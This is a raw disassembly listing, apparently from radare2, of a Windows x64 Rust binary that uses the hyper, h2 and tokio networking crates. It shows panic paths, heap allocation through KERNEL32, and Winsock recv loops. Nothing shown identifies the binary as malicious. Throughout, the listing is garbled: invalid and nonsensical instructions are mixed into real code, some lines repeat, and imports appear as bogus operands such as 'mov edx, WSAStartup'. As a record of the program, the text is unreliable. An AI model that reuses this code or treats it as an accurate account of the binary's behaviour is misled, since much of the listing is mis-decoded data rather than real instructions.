call fcn.140160fb0
ud2
mov rax, qword [rbp + 0xd10]
mov qword [rbp + 0xac0], rax
lea rax, [0x140089f20]
mov qword [rbp + 0xac8], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x1401d5ce0]
lea rsi, [rbp + 0x8c0]
lea r9, [rbp + 0xac0]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
mov rcx, rsi
call fcn.140160e20
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
lea r8, [0x1401d78d8]
mov edx, setsockopt
mov rcx, rdi
call fcn.140160f40
ud2
lea r8, [0x1401d78d8]
mov rcx, r12
mov rdx, rdi
call fcn.140161190
ud2
mov rax, qword [rbp + 0xd10]
mov qword [rbp + 0xac0], rax
lea rax, [0x140089f20]
mov qword [rbp + 0xac8], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x1401d5ce0]
lea rsi, [rbp + 0x8c0]
lea r9, [rbp + 0xac0]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
mov rcx, rsi
call fcn.140160e20
ud2
lea rax, [0x1401ab7d8]
mov qword [rsp + 0x20], rax
lea rcx, str.CHUNK_SIZE_MAX_BYTES_should_fit_any_usize
lea r9, [0x1401aa860]
lea r8, [rbp + 0xcf8]
mov edx, 0x29
add al, ch
sbb dl, byte [rcx + 0xb0f0008]
mov qword [rbp + 0xac0], rbx
lea rcx, [rbp + 0xac0]
add al, ch
cmc
and eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0x100016
mov qword [rbp + 0x720], rax
lea rax, [0x14009a1b0]
mov qword [rbp + 0x728], rax
mov qword [rsp + 0x20], 1
and al, 0x20
add dword [rax], eax
add byte [rax], al
lea rdx, str.internal_error:_entered_unreachable_code:
lea rsi, [rbp + 0xac0]
lea r9, [rbp + 0x720]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
std
enter 6, 0x48
lea edx, [0x1401d8128]
mov rcx, rsi
call fcn.140160e20
ud2
test dword [rax], eax
add eax, 0x89480000
test eax, edx
or byte [rax], al
add byte [rax - 0x39], cl
test eax, ebx
or byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rbp + 0x8c0]
call fcn.140160e20
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
jmp 0x1400d8379
invalid
add dword [rax], eax
invalid
push 0x4c000001
mov dword [rbp + 0x8c0], ebp
mov byte [rbp + 0x8c8], r15b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401d4c78]
lea r8, [rbp + 0x8c0]
mov edx, 0x2b
call fcn.140161200
ud2
mov ecx, 8
mov edx, WSAStartup
call fcn.14015d7f0
ud2
mov qword [rbp + 0x500], rsi
lea rax, [rbp + 0x420]
mov qword [rbp + 0x240], rax
lea rax, [0x140144ae0]
mov qword [rbp + 0x248], rax
lea rcx, [rbp + 0x500]
mov qword [rbp + 0x250], rcx
mov qword [rbp + 0x258], rax
mov qword [rsp + 0x20], 2
lea rdx, str.cannot_advance_past__remaining_:___
lea rsi, [rbp + 0x600]
lea r9, [rbp + 0x240]
jmp 0x1400d7f61
ud2
mov qword [rbp + 0x600], rdx
lea rax, [0x1401aad60]
mov qword [rsp + 0x20], rax
lea rcx, str.just_sent_Ok
lea r9, fcn.140085c60
lea r8, [rbp + 0x600]
mov edx, recv
call fcn.140161200
ud2
mov qword [rbp + 0x720], rax
lea rax, [rbp + 0x240]
mov qword [rbp + 0xac0], rax
lea rax, [0x140144ae0]
mov qword [rbp + 0xac8], rax
lea rcx, [rbp + 0x720]
mov qword [rbp + 0xad0], rcx
mov qword [rbp + 0xad8], rax
mov qword [rsp + 0x20], 2
lea rdx, str.cannot_advance_past__remaining_:___
lea rsi, [rbp + 0x8c0]
lea r9, [rbp + 0xac0]
mov r8d, 2
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
mov rcx, rsi
call fcn.140160e20
ud2
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401d4c98]
lea r8, [rbp + 0x8c0]
mov edx, 0x2b
call fcn.140161200
ud2
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.140160f40
ud2
sub dword [rsp + 0x60], eax
cmp edi, 2
je 0x1400d8941
adc eax, dword [rcx]
add byte [rax], al
adc eax, dword [rcx]
add byte [rax], al
lea rcx, [rsp + 0x3d8]
lea rdx, [rsp + 0x2d0]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x98], rdi
add byte [rdi], cl
sub byte [rsp + 0x60], al
add byte [rdi], cl
sub byte [rsp + 0x60], al
movups xmmword [rsp + 0xa0], xmm0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400d888a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d8bc9
mov rcx, rax
mov qword [0x140215360], rax
ror dword [rax - 0x77], 5
invalid
mov r8d, 0x38
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d8bc9
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400d88df
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d8bda
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d8bda
mov qword [rax], rsi
mov qword [rdi], rax
lea rax, str.__b_
mov qword [rdi + 8], rax
lea rcx, [rsp + 0x1c0]
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x3d8]
mov r8d, 0x100
add byte [rcx - 0x48], al
add byte [rcx], al
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x1b8], rdi
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x1b8]
call fcn.1400b95c0
or al, 0xfe
push qword [rcx]
invalid
or al, 0xfe
push qword [rcx]
test byte [rax - 0x7d], 0x7c
and al, 0x20
add cl, byte [rdi]
test byte [rdx + rax], ch
add byte [rax - 0x73], cl
and al, 0x20
cmp qword [rsp + 0x20], 2
je fcn.1400d8bb9
lea rcx, [rsp + 0x20]
call fcn.1400b7da0
jmp fcn.1400d8bb9
movaps xmmword [rsp + 0x2f0], xmm2
movaps xmmword [rsp + 0x2e0], xmm1
movaps xmmword [rsp + 0x2d0], xmm0
mov rax, qword [rbx]
mov qword [rbx], 2
cmp rax, 2
jne 0x1400d8a53
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400d89c6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d8bc9
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x38
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d8bc9
mov rsi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 3
lea rcx, [rsp + 0x2d0]
call fcn.1400b9a40
mov rcx, rdi
call fcn.14006a760
mov rcx, qword [rdi + 0x60]
call fcn.1400b9900
jmp fcn.1400d8bb9
add rbx, 8
lea rcx, [rdi + 0x70]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x88], xmm0
mov r14, qword [rdi + 0x60]
movzx eax, word [rdi + 0x68]
movzx esi, byte [rdi + 0x6a]
xorps xmm0, xmm0
movaps xmmword [rsp + 0xe0], xmm0
movups xmmword [rsp + 0xf8], xmm0
mov byte [rsp + 0x11a], 2
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xc8], 2
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 8
mov qword [rsp + 0xf0], 8
mov word [rsp + 0x108], 0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc byte [rcx], al
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movaps xmmword [rsp + 0x120], xmm0
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x140], xmm2
mov word [rsp + 0x118], ax
lea rbx, [rsp + 0xb0]
mov rcx, rbx
call fcn.14006a760
movups xmm0, xmmword [rdi + 0x50]
movaps xmmword [rsp + 0x100], xmm0
movups xmm0, xmmword [rdi + 0x40]
movaps xmmword [rsp + 0xf0], xmm0
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xe0], xmm3
movaps xmmword [rsp + 0xd0], xmm2
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
mov byte [rsp + 0x11a], sil
xor esi, esi
xor ecx, ecx
call fcn.1400b9900
mov qword [rsp + 0x110], r14
lea rcx, [rsp + 0x1c8]
mov r8d, 0xa0
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x1c0], 4
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x1b8]
call fcn.1400b95c0
mov ecx, 8
mov edx, 0x38
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 8
call fcn.14015d7f0
ud2
or byte [rax], al
test rax, rax
je 0x1400d9d66
mov rbp, rax
and rbp, 0xffffffffffffff80
lea rdi, [rbp + 0x80]
mov qword [rbp + 0x78], rax
lea r14, [rbx + 0x70]
mov qword [rbp + 0x80], 0xcc
mov qword [rbp + 0x88], 0
lea rax, [0x1401d72a0]
mov qword [rbp + 0x90], rax
mov dword [rbp + 0x90], eax
mov qword [rbp + 0x98], 0
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], r12
lea rcx, [rbp + 0xb0]
lea rdx, [rsp + 0x160]
mov r8d, 0xa8
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rbp + 0x158], xmm0
movups xmmword [rbp + 0x168], xmm1
mov rcx, r14
mov rdx, rdi
mov r8, rdi
call fcn.1400b7920
test rax, rax
je fcn.1400d9ca6
add rbx, 0x10
mov rcx, rbx
mov rdx, rax
xor r8d, r8d
call fcn.14014b800
jmp fcn.1400d9ca6
and al, 0x70
add byte [rax], al
add byte [rax], al
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400d9bd3
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d9d66
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x180
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d9d66
mov r14, rax
and r14, 0xffffffffffffff80
lea rdi, [r14 + 0x80]
mov qword [r14 + 0x78], rax
mov qword [r14 + 0x80], 0xcc
mov qword [r14 + 0x88], 0
lea rax, [0x1401d7070]
mov qword [r14 + 0x90], rax
mov qword [r14 + 0x98], 0
mov qword [r14 + 0xa0], rbx
add rbx, 0x60
mov qword [r14 + 0xa8], r12
lea rcx, [r14 + 0xb0]
lea rdx, [rsp + 0x160]
mov r8d, 0xa8
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [r14 + 0x158], xmm0
movups xmmword [r14 + 0x168], xmm1
mov rcx, rbx
mov rdx, rdi
mov r8, rdi
call fcn.1400b7920
test rax, rax
je fcn.1400d9ca6
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rcx, qword [rdx + rcx*8]
or al, 0xca
mov rcx, qword [rcx + 0xa0]
mov rdx, rax
call fcn.14014a490
mov ecx, 0x80
mov edx, 0x100
call fcn.14015d7f0
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtimecontextcurrent.rs
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rcx, [0x1401e1a3a]
lea r9, [0x1401d4c38]
lea r8, [rsp + 0xb0]
mov edx, 0x18
call fcn.140161200
ud2
add byte [rax], al
lea rcx, [rsp + 0x210]
call fcn.1400b7da0
mov rcx, rsi
call fcn.1400dac00
mov al, 1
jmp 0x1400d9e44
mov byte [rsp + 0x210], al
lea rax, [rsp + 0x210]
mov qword [rsp + 0x160], rax
lea rax, [0x140146c50]
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x140204aa8]
lea rsi, [rsp + 0xb0]
lea r9, [rsp + 0x160]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srccommonexec.rs
mov rcx, rsi
call fcn.140160e20
ud2
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140160e20
ud2
mov eax, dword [rsi + 0x30]
xor byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov rcx, rax
test cl, 4
jne 0x1400da53d
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rdi + 0x30], rdx
jne 0x1400da510
and ecx, 5
cmp ecx, 1
jne 0x1400da53d
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rdi]
jne 0x1400da551
mov rcx, qword [rsi]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140087480
nop
add rsp, 0x28
pop rdi
pop rsi
ret
or byte [rax], al
je 0x1400da58c
mov r8, qword [rsi]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, qword [rsi + 0x28]
mov r12, qword [rsi + 0x38]
test r12, r12
je 0x1400da611
mov rdi, qword [rsi + 0x20]
mov rax, qword [rsi + 0x30]
xor edx, edx
cmp rax, r14
mov rcx, r14
cmovb rcx, rdx
mov r8, rax
sub r8, rcx
mov r13, r14
sub r13, r8
lea rbp, [r8 + r12]
and byte [rbp + 0x39], cl
in eax, 0x49
cmovb ebp, esi
mov r15, r12
sub r15, r13
cmovb r15, rdx
sub rbp, r8
jne 0x1400da64c
cmp r13, r12
jae 0x1400da611
add rdi, 0x20
jmp 0x1400da5fb
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + reloc.WS2_32.dll_recv]
push rax
invalid
push rax
adc byte [rax - 0x7d], cl
invalid
invalid
invalid
invalid
mov rax, qword [rdi - 0x20]
cmp rax, 2
je 0x1400da5e0
cmp eax, 1
je 0x1400da5e0
test rax, rax
je 0x1400da5e0
jmp fcn.1400da5f2
test r14, r14
je 0x1400da63a
mov r8, qword [rsi + 0x20]
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
shl rax, 4
lea rax, [rax + rax*4]
shl rcx, 4
lea rcx, [rcx + rcx*4]
sub rax, rcx
lea rbx, [rax + rdi]
cmp byte [rax - 0x7d], cl
ret
and bl, ch
invalid
cmp byte [rax - 0x7d], cl
ret
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
add rbx, 0x50
dec rbp
je 0x1400da5d3
mov rax, qword [rbx - 0x20]
cmp rax, 2
je 0x1400da670
cmp eax, 1
je 0x1400da670
test rax, rax
je 0x1400da670
jmp 0x1400da682
je 0x1400e03cf
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rbp + 0x4a0], xmm1
movaps xmmword [rbp + 0x490], xmm0
mov rbx, qword [rbp + 0x278]
mov rcx, rbx
call fcn.1400776a0
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x1400df62c
mov rcx, rbx
call case.0x140065142.1954
movaps xmm0, xmmword [rbp + 0x490]
add byte [rax], al
movaps xmm1, xmmword [rbp + 0x4a0]
movaps xmmword [rbp + 0x480], xmm1
sub dword [rbp + 0x480], ecx
sub dword [rbp + 0x480], ecx
movaps xmmword [rbp + 0x470], xmm0
movups xmm0, xmmword [rbp + 0x2c0]
movups xmm1, xmmword [rbp + 0x2d0]
movups xmm2, xmmword [rbp + 0x2e0]
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov byte [rsi + 0x98], 2
mov eax, dword [rbp + 0xb0]
mov ecx, dword [rbp + 0xb3]
mov dword [rsi + 0x99], eax
mov dword [rsi + 0x9c], ecx
cmp r13, 3
jne 0x1400df721
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x4b0], rax
movaps xmm0, xmmword [rbp + 0x250]
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x4a0], xmm1
movaps xmmword [rbp + 0x490], xmm0
mov r15, qword [rbp + 0x470]
mov rcx, r15
call fcn.140089120
test rax, rax
je 0x1400dfada
mov r14, rax
movzx eax, byte [rbp + 0x490]
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x1400dfc38
test rax, rax
je 0x1400dfc38
cmp eax, 1
jne 0x1400dfbdf
test edx, esp
add al, 0
invalid
test edx, esp
add al, 0
add byte [rax - 0x73], cl
lea esi, [rax + 0x48000004]
mov eax, dword [rbp + 0x498]
lea rcx, [rbp + 0x4b0]
mov rax, qword [rbp + 0x498]
mov rdx, qword [rbp + 0x4a0]
mov r8, qword [rbp + 0x4a8]
add bh, bh
push rax
adc cl, ch
invalid
invalid
add byte [rax], al
invalid
mov qword [rbp + 0x490], r13
movaps xmm0, xmmword [rbp + 0x250]
add byte [rdi], cl
sub byte [rbp + 0x250], al
movaps xmm1, xmmword [rbp + 0x260]
movups xmmword [rbp + 0x498], xmm0
movups xmmword [rbp + 0x4a8], xmm1
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x4b8], rax
movaps xmm0, xmmword [rbp]
movaps xmm1, xmmword [rbp + 0x10]
movaps xmm2, xmmword [rbp + 0x20]
movaps xmm3, xmmword [rbp + 0x30]
movups xmmword [rbp + 0x4c0], xmm0
movups xmmword [rbp + 0x4d0], xmm1
movups xmmword [rbp + 0x4e0], xmm2
movups xmmword [rbp + 0x4f0], xmm3
movaps xmm0, xmmword [rbp + 0x40]
movups xmmword [rbp + 0x500], xmm0
mov rbx, qword [rbp + 0x470]
test rbx, rbx
je 0x1400df7fa
lea r14, [rbx + 0x10]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400e0270
xor r15d, r15d
movzx eax, byte [rbx + 0x18]
test al, al
jne 0x1400e0288
cmp dword [rbx + 0x58], 0x3b9aca00
je 0x1400df7d9
call fcn.14013ac10
mov qword [rbx + 0x50], rax
mov dword [rbx + 0x58], edx
test r15b, r15b
jne 0x1400df7f1
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400e02c3
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov qword [rbp + 0x518], rdi
lea rcx, [rbp + 0x490]
nop
add al, 0
add al, ch
adc eax, dword [rdi - 0x76b60006]
invalid
mov rdi, rdx
movups xmm0, xmmword [rbp + 0x478]
movaps xmmword [rbp + 0x280], xmm0
mov rax, qword [rbp + 0x488]
mov qword [rbp + 0x290], rax
movzx eax, word [rbp + 0x4f8]
mov word [rbp + 0x298], ax
mov r14, qword [rbp + 0x280]
cmp eax, 0xc8
jne 0x1400df944
nop
add al, 0
add al, ch
adc eax, dword [rdi - 0x76b60006]
invalid
test r14, r14
je 0x1400df944
lea r12, [rbp + 0x478]
mov rax, qword [r12 + 0x10]
mov qword [rbp + 0x2b0], rax
movups xmm0, xmmword [r12]
movaps xmmword [rbp + 0x2a0], xmm0
test r15, r15
dec dword [rdi]
invalid
mov bh, 2
add byte [rax], al
test rdi, rdi
je 0x1400dfb37
mov rcx, r12
mov edx, 2
call fcn.1400dd540
invalid
inc esi
test eax, eax
add al, byte [rax]
add byte [rdx], al
mov dword [rbp + 0x2c4], 2
lea rcx, [rbp + 0x2c0]
call fcn.140085d20
mov r14, rax
mov rcx, r12
call fcn.1400776a0
mov rax, qword [rbp + 0x2a0]
add byte [rax], al
lock dec qword [rax]
jne 0x1400df8d7
lea rcx, [rbp + 0x2a0]
call case.0x140065142.1954
mov rax, qword [rbp + 0x2b0]
lock dec qword [rax]
mov rdi, qword [rbp + 0x518]
jne 0x1400df8f7
mov rcx, qword [rbp + 0x2b0]
call fcn.1400da460
lea rcx, [rbp + 0x490]
movups xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0x110], xmm0
movups xmm0, xmmword [rbp + 0x4e0]
movaps xmmword [rbp + 0x100], xmm0
movups xmm0, xmmword [rbp + 0x4d0]
movaps xmmword [rbp + 0xf0], xmm0
movups xmm0, xmmword [rbp + 0x490]
movups xmm1, xmmword [rbp + 0x4a0]
movups xmm2, xmmword [rbp + 0x4b0]
movups xmm3, xmmword [rbp + 0x4c0]
movaps xmmword [rbp + 0xe0], xmm3
movaps xmmword [rbp + 0xd0], xmm2
movaps xmmword [rbp + 0xc0], xmm1
movaps xmmword [rbp + 0xb0], xmm0
sub dword [rbp + 0xb0], eax
movups xmm0, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x2a0], rbx
lea rcx, [rbp + 0x2c0]
call fcn.14007e030
xor r12d, r12d
test al, al
cmove r12, rbx
test rbx, rbx
je 0x1400dfea6
test al, al
mov r13, qword [rbp + 0x528]
je 0x1400df9f9
lock dec qword [rbx]
jne 0x1400df9f6
lea rcx, [rbp + 0x2a0]
call fcn.1400ba300
xor r12d, r12d
test r15, r15
je 0x1400dfa04
cmp rdi, 0xfffffffffffffffe
jb 0x1400dfa1b
lea rcx, [rbp + 0x2c0]
call fcn.14007e030
movzx eax, al
lea rdi, [rax*2 - 2]
movaps xmm0, xmmword [rbp + 0x2c0]
movaps xmmword [rbp + 0x130], xmm0
movaps xmm0, xmmword [rbp + 0xb0]
movaps xmm1, xmmword [rbp + 0xc0]
add byte [rax], al
add byte [rdi], cl
sub byte [rbp + 0xd0], dl
add byte [rax], al
add byte [rdi], cl
sub byte [rbp + 0xd0], dl
movaps xmm3, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0x400], xmm0
movaps xmmword [rbp + 0x410], xmm1
movaps xmmword [rbp + 0x420], xmm2
movaps xmmword [rbp + 0x430], xmm3
movaps xmm0, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x440], xmm0
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x450], xmm0
movaps xmm0, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0x460], xmm0
mov ebx, 2
test r14, r14
je 0x1400dfad3
lea rcx, [rbp + 0x280]
call fcn.1400776a0
mov rax, qword [rbp + 0x280]
lock dec qword [rax]
jne 0x1400dfaba
lea rcx, [rbp + 0x280]
call case.0x140065142.1954
mov rax, qword [rbp + 0x290]
lock dec qword [rax]
jne 0x1400dfad3
mov rcx, qword [rbp + 0x290]
call fcn.1400da460
xor eax, eax
jmp 0x1400e009a
mov rax, qword [rbp + 0x4b0]
mov qword [rbp + 0x2e0], rax
movaps xmm0, xmmword [rbp + 0x490]
movaps xmm1, xmmword [rbp + 0x4a0]
movaps xmmword [rbp + 0x2d0], xmm1
movaps xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0x2c0]
call fcn.140085d20
mov r14, rax
test r15, r15
je fcn.1400dfc5c
lock dec qword [r15]
jne fcn.1400dfc5c
lea rcx, [rbp + 0x470]
call fcn.1400ba300
jmp fcn.1400dfc5c
movups xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0x320], xmm0
movups xmm0, xmmword [rbp + 0x4e0]
movaps xmmword [rbp + 0x310], xmm0
movups xmm0, xmmword [rbp + 0x4d0]
movaps xmmword [rbp + 0x300], xmm0
movups xmm0, xmmword [rbp + 0x490]
movups xmm1, xmmword [rbp + 0x4a0]
movups xmm2, xmmword [rbp + 0x4b0]
movups xmm3, xmmword [rbp + 0x4c0]
movaps xmmword [rbp + 0x2f0], xmm3
movaps xmmword [rbp + 0x2e0], xmm2
xchg ebp, eax
loopne 0x1400dfb8b
add byte [rax], al
movaps xmmword [rbp + 0x2d0], xmm1
movaps xmmword [rbp + 0x2c0], xmm0
movups xmm0, xmmword [rbp + 0x500]
movups xmmword [rbp + 0x3e8], xmm0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x358], 0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
je 0x1400dfebb
add al, byte [rax]
invalid
mov r13, qword [rbp + 0x528]
jmp 0x1400dfedb
mov rax, qword [rbp + 0x498]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x1400dfc38
lea r15, [rax - 1]
mov r12, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, r12
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400dfc26
cmp qword [rbx + 0x10], 0x11
jb 0x1400dfc14
mov r12, qword [r12 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x470]
test rax, rax
je 0x1400dfc56
lock dec qword [rax]
jne 0x1400dfc56
lea rcx, [rbp + 0x470]
call fcn.1400ba300
cmp r13, 3
jne 0x1400dfca7
mov r13, qword [rbp + 0x528]
movaps xmm0, xmmword [rbp + 0x400]
movaps xmm1, xmmword [rbp + 0x410]
movaps xmm2, xmmword [rbp + 0x420]
movaps xmm3, xmmword [rbp + 0x430]
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x150], xmm1
movaps xmmword [rbp + 0x160], xmm2
movaps xmmword [rbp + 0x170], xmm3
popfq
jo 0x1400dfce5
add byte [rax], al
popfq
jo 0x1400dfce5
add byte [rax], al
add byte [rdi], cl
sub byte [rbp + 0x440], al
movaps xmm0, xmmword [rbp + 0x440]
movaps xmmword [rbp + 0x180], xmm0
movaps xmm0, xmmword [rbp + 0x450]
movaps xmmword [rbp + 0x190], xmm0
movaps xmm0, xmmword [rbp + 0x460]
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmm0, xmmword [rbp + 0x130]
movaps xmmword [rbp + 0x1b0], xmm0
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0xa0], rax
movups xmm0, xmmword [rbp + 0x208]
movaps xmmword [rbp + 0x90], xmm0
movups xmm0, xmmword [rbp + 0x1c8]
movups xmm1, xmmword [rbp + 0x1d8]
movups xmm2, xmmword [rbp + 0x1e8]
movups xmm3, xmmword [rbp + 0x1f8]
movaps xmmword [rbp + 0x80], xmm3
movaps xmmword [rbp + 0x70], xmm2
movaps xmmword [rbp + 0x60], xmm1
movaps xmmword [rbp + 0x50], xmm0
mov rax, qword [r13]
mov qword [r13], 2
cmp rax, 2
je 0x1400e0411
mov qword [rbp + 0x490], rax
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rbp + 0x498], xmm0
mov qword [rbp + 0x2c0], r14
mov qword [rbp + 0x2c8], 3
movaps xmm0, xmmword [rbp + 0x140]
movaps xmm1, xmmword [rbp + 0x150]
movaps xmm2, xmmword [rbp + 0x160]
movaps xmm3, xmmword [rbp + 0x170]
movups xmmword [rbp + 0x2d0], xmm0
